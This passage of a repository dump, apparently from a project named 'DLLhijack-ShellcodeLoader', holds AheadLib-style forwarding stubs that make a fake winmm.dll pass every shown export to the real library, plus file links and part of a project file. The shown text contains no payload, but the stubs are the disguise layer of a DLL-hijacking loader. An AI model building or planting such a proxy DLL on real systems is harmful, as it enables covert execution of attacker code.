913 | 914 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mciGetDeviceIDFromElementIDA(void) 915 | { 916 | __asm jmp pfnAheadLib_mciGetDeviceIDFromElementIDA; 917 | } 918 | 919 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mciGetDeviceIDFromElementIDW(void) 920 | { 921 | __asm jmp pfnAheadLib_mciGetDeviceIDFromElementIDW; 922 | } 923 | 924 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mciGetDeviceIDW(void) 925 | { 926 | __asm jmp pfnAheadLib_mciGetDeviceIDW; 927 | } 928 | 929 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mciGetDriverData(void) 930 | { 931 | __asm jmp pfnAheadLib_mciGetDriverData; 932 | } 933 | 934 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mciGetErrorStringA(void) 935 | { 936 | __asm jmp pfnAheadLib_mciGetErrorStringA; 937 | } 938 | 939 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mciGetErrorStringW(void) 940 | { 941 | __asm jmp pfnAheadLib_mciGetErrorStringW; 942 | } 943 | 944 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mciGetYieldProc(void) 945 | { 946 | __asm jmp pfnAheadLib_mciGetYieldProc; 947 | } 948 | 949 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mciLoadCommandResource(void) 950 | { 951 | __asm jmp pfnAheadLib_mciLoadCommandResource; 952 | } 953 | 954 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mciSendCommandA(void) 955 | { 956 | __asm jmp pfnAheadLib_mciSendCommandA; 957 | } 958 | 959 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mciSendCommandW(void) 960 | { 961 | __asm jmp pfnAheadLib_mciSendCommandW; 962 | } 963 | 964 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mciSendStringA(void) 965 | { 966 | __asm jmp pfnAheadLib_mciSendStringA; 967 | } 968 | 969 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mciSendStringW(void) 970 | { 971 | __asm jmp pfnAheadLib_mciSendStringW; 972 | } 973 | 974 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mciSetDriverData(void) 975 | { 976 | __asm jmp pfnAheadLib_mciSetDriverData; 977 | } 978 | 979 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mciSetYieldProc(void) 980 | { 981 | __asm jmp pfnAheadLib_mciSetYieldProc; 982 | } 983 | 984 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mid32Message(void) 985 | { 986 | __asm jmp pfnAheadLib_mid32Message; 987 | } 988 | 989 | EXTERN_C __declspec(naked) void __cdecl AheadLib_midiConnect(void) 990 | { 991 | __asm jmp pfnAheadLib_midiConnect; 992 | } 993 | 994 | EXTERN_C __declspec(naked) void __cdecl AheadLib_midiDisconnect(void) 995 | { 996 | __asm jmp pfnAheadLib_midiDisconnect; 997 | } 998 | 999 | EXTERN_C __declspec(naked) void __cdecl AheadLib_midiInAddBuffer(void) 1000 | { 1001 | __asm jmp pfnAheadLib_midiInAddBuffer; 1002 | } 1003 | 1004 | EXTERN_C __declspec(naked) void __cdecl AheadLib_midiInClose(void) 1005 | { 1006 | __asm jmp pfnAheadLib_midiInClose; 1007 | } 1008 | 1009 | EXTERN_C __declspec(naked) void __cdecl AheadLib_midiInGetDevCapsA(void) 1010 | { 1011 | __asm jmp pfnAheadLib_midiInGetDevCapsA; 1012 | } 1013 | 1014 | EXTERN_C __declspec(naked) void __cdecl AheadLib_midiInGetDevCapsW(void) 1015 | { 1016 | __asm jmp pfnAheadLib_midiInGetDevCapsW; 1017 | } 1018 | 1019 | EXTERN_C __declspec(naked) void __cdecl AheadLib_midiInGetErrorTextA(void) 1020 | { 1021 | __asm jmp pfnAheadLib_midiInGetErrorTextA; 1022 | } 1023 | 1024 | EXTERN_C __declspec(naked) void __cdecl AheadLib_midiInGetErrorTextW(void) 1025 | { 1026 | __asm jmp pfnAheadLib_midiInGetErrorTextW; 1027 | } 1028 | 1029 | EXTERN_C __declspec(naked) void __cdecl AheadLib_midiInGetID(void) 1030 | { 1031 | __asm jmp pfnAheadLib_midiInGetID; 1032 | } 1033 | 1034 | EXTERN_C __declspec(naked) void __cdecl AheadLib_midiInGetNumDevs(void) 1035 | { 1036 | __asm jmp pfnAheadLib_midiInGetNumDevs; 1037 | } 1038 | 1039 | EXTERN_C __declspec(naked) void __cdecl AheadLib_midiInMessage(void) 1040 | { 1041 | __asm jmp pfnAheadLib_midiInMessage; 1042 | } 1043 | 1044 | EXTERN_C __declspec(naked) void __cdecl AheadLib_midiInOpen(void) 1045 | { 1046 | __asm jmp pfnAheadLib_midiInOpen; 1047 | } 1048 | 1049 | EXTERN_C __declspec(naked) void __cdecl AheadLib_midiInPrepareHeader(void) 1050 | { 1051 | __asm jmp pfnAheadLib_midiInPrepareHeader; 1052 | } 1053 | 1054 | EXTERN_C __declspec(naked) void __cdecl AheadLib_midiInReset(void) 1055 | { 1056 | __asm jmp pfnAheadLib_midiInReset; 1057 | } 1058 | 1059 | EXTERN_C __declspec(naked) void __cdecl AheadLib_midiInStart(void) 1060 | { 1061 | __asm jmp pfnAheadLib_midiInStart; 1062 | } 1063 | 1064 | EXTERN_C __declspec(naked) void __cdecl AheadLib_midiInStop(void) 1065 | { 1066 | __asm jmp pfnAheadLib_midiInStop; 1067 | } 1068 | 1069 | EXTERN_C __declspec(naked) void __cdecl AheadLib_midiInUnprepareHeader(void) 1070 | { 1071 | __asm jmp pfnAheadLib_midiInUnprepareHeader; 1072 | } 1073 | 1074 | EXTERN_C __declspec(naked) void __cdecl AheadLib_midiOutCacheDrumPatches(void) 1075 | { 1076 | __asm jmp pfnAheadLib_midiOutCacheDrumPatches; 1077 | } 1078 | 1079 | EXTERN_C __declspec(naked) void __cdecl AheadLib_midiOutCachePatches(void) 1080 | { 1081 | __asm jmp pfnAheadLib_midiOutCachePatches; 1082 | } 1083 | 1084 | EXTERN_C __declspec(naked) void __cdecl AheadLib_midiOutClose(void) 1085 | { 1086 | __asm jmp pfnAheadLib_midiOutClose; 1087 | } 1088 | 1089 | EXTERN_C __declspec(naked) void __cdecl AheadLib_midiOutGetDevCapsA(void) 1090 | { 1091 | __asm jmp pfnAheadLib_midiOutGetDevCapsA; 1092 | } 1093 | 1094 | EXTERN_C __declspec(naked) void __cdecl AheadLib_midiOutGetDevCapsW(void) 1095 | { 1096 | __asm jmp pfnAheadLib_midiOutGetDevCapsW; 1097 | } 1098 | 1099 | EXTERN_C __declspec(naked) void __cdecl AheadLib_midiOutGetErrorTextA(void) 1100 | { 1101 | __asm jmp pfnAheadLib_midiOutGetErrorTextA; 1102 | } 1103 | 1104 | EXTERN_C __declspec(naked) void __cdecl AheadLib_midiOutGetErrorTextW(void) 1105 | { 1106 | __asm jmp pfnAheadLib_midiOutGetErrorTextW; 1107 | } 1108 | 1109 | EXTERN_C __declspec(naked) void __cdecl AheadLib_midiOutGetID(void) 1110 | { 1111 | __asm jmp pfnAheadLib_midiOutGetID; 1112 | } 1113 | 1114 | EXTERN_C __declspec(naked) void __cdecl AheadLib_midiOutGetNumDevs(void) 1115 | { 1116 | __asm jmp pfnAheadLib_midiOutGetNumDevs; 1117 | } 1118 | 1119 | EXTERN_C __declspec(naked) void __cdecl AheadLib_midiOutGetVolume(void) 1120 | { 1121 | __asm jmp pfnAheadLib_midiOutGetVolume; 1122 | } 1123 | 1124 | EXTERN_C __declspec(naked) void __cdecl AheadLib_midiOutLongMsg(void) 1125 | { 1126 | __asm jmp pfnAheadLib_midiOutLongMsg; 1127 | } 1128 | 1129 | EXTERN_C __declspec(naked) void __cdecl AheadLib_midiOutMessage(void) 1130 | { 1131 | __asm jmp pfnAheadLib_midiOutMessage; 1132 | } 1133 | 1134 | EXTERN_C __declspec(naked) void __cdecl AheadLib_midiOutOpen(void) 1135 | { 1136 | __asm jmp pfnAheadLib_midiOutOpen; 1137 | } 1138 | 1139 | EXTERN_C __declspec(naked) void __cdecl AheadLib_midiOutPrepareHeader(void) 1140 | { 1141 | __asm jmp pfnAheadLib_midiOutPrepareHeader; 1142 | } 1143 | 1144 | EXTERN_C __declspec(naked) void __cdecl AheadLib_midiOutReset(void) 1145 | { 1146 | __asm jmp pfnAheadLib_midiOutReset; 1147 | } 1148 | 1149 | EXTERN_C __declspec(naked) void __cdecl AheadLib_midiOutSetVolume(void) 1150 | { 1151 | __asm jmp pfnAheadLib_midiOutSetVolume; 1152 | } 1153 | 1154 | EXTERN_C __declspec(naked) void __cdecl AheadLib_midiOutShortMsg(void) 1155 | { 1156 | __asm jmp pfnAheadLib_midiOutShortMsg; 1157 | } 1158 | 1159 | EXTERN_C __declspec(naked) void __cdecl AheadLib_midiOutUnprepareHeader(void) 1160 | { 1161 | __asm jmp pfnAheadLib_midiOutUnprepareHeader; 1162 | } 1163 | 1164 | EXTERN_C __declspec(naked) void __cdecl AheadLib_midiStreamClose(void) 1165 | { 1166 | __asm jmp pfnAheadLib_midiStreamClose; 1167 | } 1168 | 1169 | EXTERN_C __declspec(naked) void __cdecl AheadLib_midiStreamOpen(void) 1170 | { 1171 | __asm jmp pfnAheadLib_midiStreamOpen; 1172 | } 1173 | 1174 | EXTERN_C __declspec(naked) void __cdecl AheadLib_midiStreamOut(void) 1175 | { 1176 | __asm jmp pfnAheadLib_midiStreamOut; 1177 | } 1178 | 1179 | EXTERN_C __declspec(naked) void __cdecl AheadLib_midiStreamPause(void) 1180 | { 1181 | __asm jmp pfnAheadLib_midiStreamPause; 1182 | } 1183 | 1184 | EXTERN_C __declspec(naked) void __cdecl AheadLib_midiStreamPosition(void) 1185 | { 1186 | __asm jmp pfnAheadLib_midiStreamPosition; 1187 | } 1188 | 1189 | EXTERN_C __declspec(naked) void __cdecl AheadLib_midiStreamProperty(void) 1190 | { 1191 | __asm jmp pfnAheadLib_midiStreamProperty; 1192 | } 1193 | 1194 | EXTERN_C __declspec(naked) void __cdecl AheadLib_midiStreamRestart(void) 1195 | { 1196 | __asm jmp pfnAheadLib_midiStreamRestart; 1197 | } 1198 | 1199 | EXTERN_C __declspec(naked) void __cdecl AheadLib_midiStreamStop(void) 1200 | { 1201 | __asm jmp pfnAheadLib_midiStreamStop; 1202 | } 1203 | 1204 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mixerClose(void) 1205 | { 1206 | __asm jmp pfnAheadLib_mixerClose; 1207 | } 1208 | 1209 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mixerGetControlDetailsA(void) 1210 | { 1211 | __asm jmp pfnAheadLib_mixerGetControlDetailsA; 1212 | } 1213 | 1214 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mixerGetControlDetailsW(void) 1215 | { 1216 | __asm jmp pfnAheadLib_mixerGetControlDetailsW; 1217 | } 1218 | 1219 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mixerGetDevCapsA(void) 1220 | { 1221 | __asm jmp pfnAheadLib_mixerGetDevCapsA; 1222 | } 1223 | 1224 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mixerGetDevCapsW(void) 1225 | { 1226 | __asm jmp pfnAheadLib_mixerGetDevCapsW; 1227 | } 1228 | 1229 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mixerGetID(void) 1230 | { 1231 | __asm jmp pfnAheadLib_mixerGetID; 1232 | } 1233 | 1234 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mixerGetLineControlsA(void) 1235 | { 1236 | __asm jmp pfnAheadLib_mixerGetLineControlsA; 1237 | } 1238 | 1239 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mixerGetLineControlsW(void) 1240 | { 1241 | __asm jmp pfnAheadLib_mixerGetLineControlsW; 1242 | } 1243 | 1244 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mixerGetLineInfoA(void) 1245 | { 1246 | __asm jmp pfnAheadLib_mixerGetLineInfoA; 1247 | } 1248 | 1249 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mixerGetLineInfoW(void) 1250 | { 1251 | __asm jmp pfnAheadLib_mixerGetLineInfoW; 1252 | } 1253 | 1254 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mixerGetNumDevs(void) 1255 | { 1256 | __asm jmp pfnAheadLib_mixerGetNumDevs; 1257 | } 1258 | 1259 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mixerMessage(void) 1260 | { 1261 | __asm jmp pfnAheadLib_mixerMessage; 1262 | } 1263 | 1264 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mixerOpen(void) 1265 | { 1266 | __asm jmp pfnAheadLib_mixerOpen; 1267 | } 1268 | 1269 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mixerSetControlDetails(void) 1270 | { 1271 | __asm jmp pfnAheadLib_mixerSetControlDetails; 1272 | } 1273 | 1274 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mmDrvInstall(void) 1275 | { 1276 | __asm jmp pfnAheadLib_mmDrvInstall; 1277 | } 1278 | 1279 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mmGetCurrentTask(void) 1280 | { 1281 | __asm jmp pfnAheadLib_mmGetCurrentTask; 1282 | } 1283 | 1284 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mmTaskBlock(void) 1285 | { 1286 | __asm jmp pfnAheadLib_mmTaskBlock; 1287 | } 1288 | 1289 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mmTaskCreate(void) 1290 | { 1291 | __asm jmp pfnAheadLib_mmTaskCreate; 1292 | } 1293 | 1294 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mmTaskSignal(void) 1295 | { 1296 | __asm jmp pfnAheadLib_mmTaskSignal; 1297 | } 1298 | 1299 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mmTaskYield(void) 1300 | { 1301 | __asm jmp pfnAheadLib_mmTaskYield; 1302 | } 1303 | 1304 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mmioAdvance(void) 1305 | { 1306 | __asm jmp pfnAheadLib_mmioAdvance; 1307 | } 1308 | 1309 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mmioAscend(void) 1310 | { 1311 | __asm jmp pfnAheadLib_mmioAscend; 1312 | } 1313 | 1314 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mmioClose(void) 1315 | { 1316 | __asm jmp pfnAheadLib_mmioClose; 1317 | } 1318 | 1319 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mmioCreateChunk(void) 1320 | { 1321 | __asm jmp pfnAheadLib_mmioCreateChunk; 1322 | } 1323 | 1324 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mmioDescend(void) 1325 | { 1326 | __asm jmp pfnAheadLib_mmioDescend; 1327 | } 1328 | 1329 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mmioFlush(void) 1330 | { 1331 | __asm jmp pfnAheadLib_mmioFlush; 1332 | } 1333 | 1334 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mmioGetInfo(void) 1335 | { 1336 | __asm jmp pfnAheadLib_mmioGetInfo; 1337 | } 1338 | 1339 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mmioInstallIOProcA(void) 1340 | { 1341 | __asm jmp pfnAheadLib_mmioInstallIOProcA; 1342 | } 1343 | 1344 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mmioInstallIOProcW(void) 1345 | { 1346 | __asm jmp pfnAheadLib_mmioInstallIOProcW; 1347 | } 1348 | 1349 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mmioOpenA(void) 1350 | { 1351 | __asm jmp pfnAheadLib_mmioOpenA; 1352 | } 1353 | 1354 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mmioOpenW(void) 1355 | { 1356 | __asm jmp pfnAheadLib_mmioOpenW; 1357 | } 1358 | 1359 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mmioRead(void) 1360 | { 1361 | __asm jmp pfnAheadLib_mmioRead; 1362 | } 1363 | 1364 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mmioRenameA(void) 1365 | { 1366 | __asm jmp pfnAheadLib_mmioRenameA; 1367 | } 1368 | 1369 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mmioRenameW(void) 1370 | { 1371 | __asm jmp pfnAheadLib_mmioRenameW; 1372 | } 1373 | 1374 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mmioSeek(void) 1375 | { 1376 | __asm jmp pfnAheadLib_mmioSeek; 1377 | } 1378 | 1379 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mmioSendMessage(void) 1380 | { 1381 | __asm jmp pfnAheadLib_mmioSendMessage; 1382 | } 1383 | 1384 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mmioSetBuffer(void) 1385 | { 1386 | __asm jmp pfnAheadLib_mmioSetBuffer; 1387 | } 1388 | 1389 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mmioSetInfo(void) 1390 | { 1391 | __asm jmp pfnAheadLib_mmioSetInfo; 1392 | } 1393 | 1394 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mmioStringToFOURCCA(void) 1395 | { 1396 | __asm jmp pfnAheadLib_mmioStringToFOURCCA; 1397 | } 1398 | 1399 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mmioStringToFOURCCW(void) 1400 | { 1401 | __asm jmp pfnAheadLib_mmioStringToFOURCCW; 1402 | } 1403 | 1404 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mmioWrite(void) 1405 | { 1406 | __asm jmp pfnAheadLib_mmioWrite; 1407 | } 1408 | 1409 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mmsystemGetVersion(void) 1410 | { 1411 | __asm jmp pfnAheadLib_mmsystemGetVersion; 1412 | } 1413 | 1414 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mod32Message(void) 1415 | { 1416 | __asm jmp pfnAheadLib_mod32Message; 1417 | } 1418 | 1419 | EXTERN_C __declspec(naked) void __cdecl AheadLib_mxd32Message(void) 1420 | { 1421 | __asm jmp pfnAheadLib_mxd32Message; 1422 | } 1423 | 1424 | EXTERN_C __declspec(naked) void __cdecl AheadLib_sndPlaySoundA(void) 1425 | { 1426 | __asm jmp pfnAheadLib_sndPlaySoundA; 1427 | } 1428 | 1429 | EXTERN_C __declspec(naked) void __cdecl AheadLib_sndPlaySoundW(void) 1430 | { 1431 | __asm jmp pfnAheadLib_sndPlaySoundW; 1432 | } 1433 | 1434 | EXTERN_C __declspec(naked) void __cdecl AheadLib_tid32Message(void) 1435 | { 1436 | __asm jmp pfnAheadLib_tid32Message; 1437 | } 1438 | 1439 | EXTERN_C __declspec(naked) void __cdecl AheadLib_timeBeginPeriod(void) 1440 | { 1441 | __asm jmp pfnAheadLib_timeBeginPeriod; 1442 | } 1443 | 1444 | EXTERN_C __declspec(naked) void __cdecl AheadLib_timeEndPeriod(void) 1445 | { 1446 | __asm jmp pfnAheadLib_timeEndPeriod; 1447 | } 1448 | 1449 | EXTERN_C __declspec(naked) void __cdecl AheadLib_timeGetDevCaps(void) 1450 | { 1451 | __asm jmp pfnAheadLib_timeGetDevCaps; 1452 | } 1453 | 1454 | EXTERN_C __declspec(naked) void __cdecl AheadLib_timeGetSystemTime(void) 1455 | { 1456 | __asm jmp pfnAheadLib_timeGetSystemTime; 1457 | } 1458 | 1459 | EXTERN_C __declspec(naked) void __cdecl AheadLib_timeGetTime(void) 1460 | { 1461 | __asm jmp pfnAheadLib_timeGetTime; 1462 | } 1463 | 1464 | EXTERN_C __declspec(naked) void __cdecl AheadLib_timeKillEvent(void) 1465 | { 1466 | __asm jmp pfnAheadLib_timeKillEvent; 1467 | } 1468 | 1469 | EXTERN_C __declspec(naked) void __cdecl AheadLib_timeSetEvent(void) 1470 | { 1471 | __asm jmp pfnAheadLib_timeSetEvent; 1472 | } 1473 | 1474 | EXTERN_C __declspec(naked) void __cdecl AheadLib_waveInAddBuffer(void) 1475 | { 1476 | __asm jmp pfnAheadLib_waveInAddBuffer; 1477 | } 1478 | 1479 | EXTERN_C __declspec(naked) void __cdecl AheadLib_waveInClose(void) 1480 | { 1481 | __asm jmp pfnAheadLib_waveInClose; 1482 | } 1483 | 1484 | EXTERN_C __declspec(naked) void __cdecl AheadLib_waveInGetDevCapsA(void) 1485 | { 1486 | __asm jmp pfnAheadLib_waveInGetDevCapsA; 1487 | } 1488 | 1489 | EXTERN_C __declspec(naked) void __cdecl AheadLib_waveInGetDevCapsW(void) 1490 | { 1491 | __asm jmp pfnAheadLib_waveInGetDevCapsW; 1492 | } 1493 | 1494 | EXTERN_C __declspec(naked) void __cdecl AheadLib_waveInGetErrorTextA(void) 1495 | { 1496 | __asm jmp pfnAheadLib_waveInGetErrorTextA; 1497 | } 1498 | 1499 | EXTERN_C __declspec(naked) void __cdecl AheadLib_waveInGetErrorTextW(void) 1500 | { 1501 | __asm jmp pfnAheadLib_waveInGetErrorTextW; 1502 | } 1503 | 1504 | EXTERN_C __declspec(naked) void __cdecl AheadLib_waveInGetID(void) 1505 | { 1506 | __asm jmp pfnAheadLib_waveInGetID; 1507 | } 1508 | 1509 | EXTERN_C __declspec(naked) void __cdecl AheadLib_waveInGetNumDevs(void) 1510 | { 1511 | __asm jmp pfnAheadLib_waveInGetNumDevs; 1512 | } 1513 | 1514 | EXTERN_C __declspec(naked) void __cdecl AheadLib_waveInGetPosition(void) 1515 | { 1516 | __asm jmp pfnAheadLib_waveInGetPosition; 1517 | } 1518 | 1519 | EXTERN_C __declspec(naked) void __cdecl AheadLib_waveInMessage(void) 1520 | { 1521 | __asm jmp pfnAheadLib_waveInMessage; 1522 | } 1523 | 1524 | EXTERN_C __declspec(naked) void __cdecl AheadLib_waveInOpen(void) 1525 | { 1526 | __asm jmp pfnAheadLib_waveInOpen; 1527 | } 1528 | 1529 | EXTERN_C __declspec(naked) void __cdecl AheadLib_waveInPrepareHeader(void) 1530 | { 1531 | __asm jmp pfnAheadLib_waveInPrepareHeader; 1532 | } 1533 | 1534 | EXTERN_C __declspec(naked) void __cdecl AheadLib_waveInReset(void) 1535 | { 1536 | __asm jmp pfnAheadLib_waveInReset; 1537 | } 1538 | 1539 | EXTERN_C __declspec(naked) void __cdecl AheadLib_waveInStart(void) 1540 | { 1541 | __asm jmp pfnAheadLib_waveInStart; 1542 | } 1543 | 1544 | EXTERN_C __declspec(naked) void __cdecl AheadLib_waveInStop(void) 1545 | { 1546 | __asm jmp pfnAheadLib_waveInStop; 1547 | } 1548 | 1549 | EXTERN_C __declspec(naked) void __cdecl AheadLib_waveInUnprepareHeader(void) 1550 | { 1551 | __asm jmp pfnAheadLib_waveInUnprepareHeader; 1552 | } 1553 | 1554 | EXTERN_C __declspec(naked) void __cdecl AheadLib_waveOutBreakLoop(void) 1555 | { 1556 | __asm jmp pfnAheadLib_waveOutBreakLoop; 1557 | } 1558 | 1559 | EXTERN_C __declspec(naked) void __cdecl AheadLib_waveOutClose(void) 1560 | { 1561 | __asm jmp pfnAheadLib_waveOutClose; 1562 | } 1563 | 1564 | EXTERN_C __declspec(naked) void __cdecl AheadLib_waveOutGetDevCapsA(void) 1565 | { 1566 | __asm jmp pfnAheadLib_waveOutGetDevCapsA; 1567 | } 1568 | 1569 | EXTERN_C __declspec(naked) void __cdecl AheadLib_waveOutGetDevCapsW(void) 1570 | { 1571 | __asm jmp pfnAheadLib_waveOutGetDevCapsW; 1572 | } 1573 | 1574 | EXTERN_C __declspec(naked) void __cdecl AheadLib_waveOutGetErrorTextA(void) 1575 | { 1576 | __asm jmp pfnAheadLib_waveOutGetErrorTextA; 1577 | } 1578 | 1579 | EXTERN_C __declspec(naked) void __cdecl AheadLib_waveOutGetErrorTextW(void) 1580 | { 1581 | __asm jmp pfnAheadLib_waveOutGetErrorTextW; 1582 | } 1583 | 1584 | EXTERN_C __declspec(naked) void __cdecl AheadLib_waveOutGetID(void) 1585 | { 1586 | __asm jmp pfnAheadLib_waveOutGetID; 1587 | } 1588 | 1589 | EXTERN_C __declspec(naked) void __cdecl AheadLib_waveOutGetNumDevs(void) 1590 | { 1591 | __asm jmp pfnAheadLib_waveOutGetNumDevs; 1592 | } 1593 | 1594 | EXTERN_C __declspec(naked) void __cdecl AheadLib_waveOutGetPitch(void) 1595 | { 1596 | __asm jmp pfnAheadLib_waveOutGetPitch; 1597 | } 1598 | 1599 | EXTERN_C __declspec(naked) void __cdecl AheadLib_waveOutGetPlaybackRate(void) 1600 | { 1601 | __asm jmp pfnAheadLib_waveOutGetPlaybackRate; 1602 | } 1603 | 1604 | EXTERN_C __declspec(naked) void __cdecl AheadLib_waveOutGetPosition(void) 1605 | { 1606 | __asm jmp pfnAheadLib_waveOutGetPosition; 1607 | } 1608 | 1609 | EXTERN_C __declspec(naked) void __cdecl AheadLib_waveOutGetVolume(void) 1610 | { 1611 | __asm jmp pfnAheadLib_waveOutGetVolume; 1612 | } 1613 | 1614 | EXTERN_C __declspec(naked) void __cdecl AheadLib_waveOutMessage(void) 1615 | { 1616 | __asm jmp pfnAheadLib_waveOutMessage; 1617 | } 1618 | 1619 | EXTERN_C __declspec(naked) void __cdecl AheadLib_waveOutOpen(void) 1620 | { 1621 | __asm jmp pfnAheadLib_waveOutOpen; 1622 | } 1623 | 1624 | EXTERN_C __declspec(naked) void __cdecl AheadLib_waveOutPause(void) 1625 | { 1626 | __asm jmp pfnAheadLib_waveOutPause; 1627 | } 1628 | 1629 | EXTERN_C __declspec(naked) void __cdecl AheadLib_waveOutPrepareHeader(void) 1630 | { 1631 | __asm jmp pfnAheadLib_waveOutPrepareHeader; 1632 | } 1633 | 1634 | EXTERN_C __declspec(naked) void __cdecl AheadLib_waveOutReset(void) 1635 | { 1636 | __asm jmp pfnAheadLib_waveOutReset; 1637 | } 1638 | 1639 | EXTERN_C __declspec(naked) void __cdecl AheadLib_waveOutRestart(void) 1640 | { 1641 | __asm jmp pfnAheadLib_waveOutRestart; 1642 | } 1643 | 1644 | EXTERN_C __declspec(naked) void __cdecl AheadLib_waveOutSetPitch(void) 1645 | { 1646 | __asm jmp pfnAheadLib_waveOutSetPitch; 1647 | } 1648 | 1649 | EXTERN_C __declspec(naked) void __cdecl AheadLib_waveOutSetPlaybackRate(void) 1650 | { 1651 | __asm jmp pfnAheadLib_waveOutSetPlaybackRate; 1652 | } 1653 | 1654 | EXTERN_C __declspec(naked) void __cdecl AheadLib_waveOutSetVolume(void) 1655 | { 1656 | __asm jmp pfnAheadLib_waveOutSetVolume; 1657 | } 1658 | 1659 | EXTERN_C __declspec(naked) void __cdecl AheadLib_waveOutUnprepareHeader(void) 1660 | { 1661 | __asm jmp pfnAheadLib_waveOutUnprepareHeader; 1662 | } 1663 | 1664 | EXTERN_C __declspec(naked) void __cdecl AheadLib_waveOutWrite(void) 1665 | { 1666 | __asm jmp pfnAheadLib_waveOutWrite; 1667 | } 1668 | 1669 | EXTERN_C __declspec(naked) void __cdecl AheadLib_wid32Message(void) 1670 | { 1671 | __asm jmp pfnAheadLib_wid32Message; 1672 | } 1673 | 1674 | EXTERN_C __declspec(naked) void __cdecl AheadLib_wod32Message(void) 1675 | { 1676 | __asm jmp pfnAheadLib_wod32Message; 1677 | } 1678 | 1679 | 1680 | -------------------------------------------------------------------------------- /winmm_fb/stdafx.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LDrakura/DLLhijack-ShellcodeLoader/cb5274b3f7bbffb956b6d49dd036cfa8bd3861f8/winmm_fb/stdafx.cpp -------------------------------------------------------------------------------- /winmm_fb/stdafx.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LDrakura/DLLhijack-ShellcodeLoader/cb5274b3f7bbffb956b6d49dd036cfa8bd3861f8/winmm_fb/stdafx.h -------------------------------------------------------------------------------- /winmm_fb/targetver.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LDrakura/DLLhijack-ShellcodeLoader/cb5274b3f7bbffb956b6d49dd036cfa8bd3861f8/winmm_fb/targetver.h -------------------------------------------------------------------------------- /winmm_fb/winmm_fb.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LDrakura/DLLhijack-ShellcodeLoader/cb5274b3f7bbffb956b6d49dd036cfa8bd3861f8/winmm_fb/winmm_fb.cpp -------------------------------------------------------------------------------- /winmm_fb/winmm_fb.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | {D81A280F-DFDD-4D62-8C68-C0D1C2380164} 23 | Win32Proj 24 | winmm_fb 25 | 8.1 26 | 27 | 28 | 29 | DynamicLibrary 30 | true 31 | v140 32 | Unicode 33 | 34 | 35 | DynamicLibrary 36 | false 37 | v140 38 | true 39 | Unicode 40 | 41 | 42 | DynamicLibrary 43 | true 44 | v140 45 | Unicode 46 | 47 | 48 | DynamicLibrary 49 | false 50 | v140 51 | true 52 | Unicode 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | true 74 | 75 | 76 | true 77 | 78 | 79 | false 80 | 81 | 82 | false 83 | 84 | 85 | 86 | Use 87 | Level3 88 | Disabled 89 | WIN32;_DEBUG;_WINDOWS;_USRDLL;WINMM_FB_EXPORTS;%(PreprocessorDefinitions) 90 | 91 | 92 | Windows 93 | true 94 | 95 | 96 | 97 | 98 | Use 99 | Level3 100 | Disabled 101 | _DEBUG;_WINDOWS;_USRDLL;WINMM_FB_EXPORTS;%(PreprocessorDefinitions) 102 | 103 | 104 | Windows 105 | true 106 | 107 | 108 | 109 | 110 | Level3 111 | Use 112 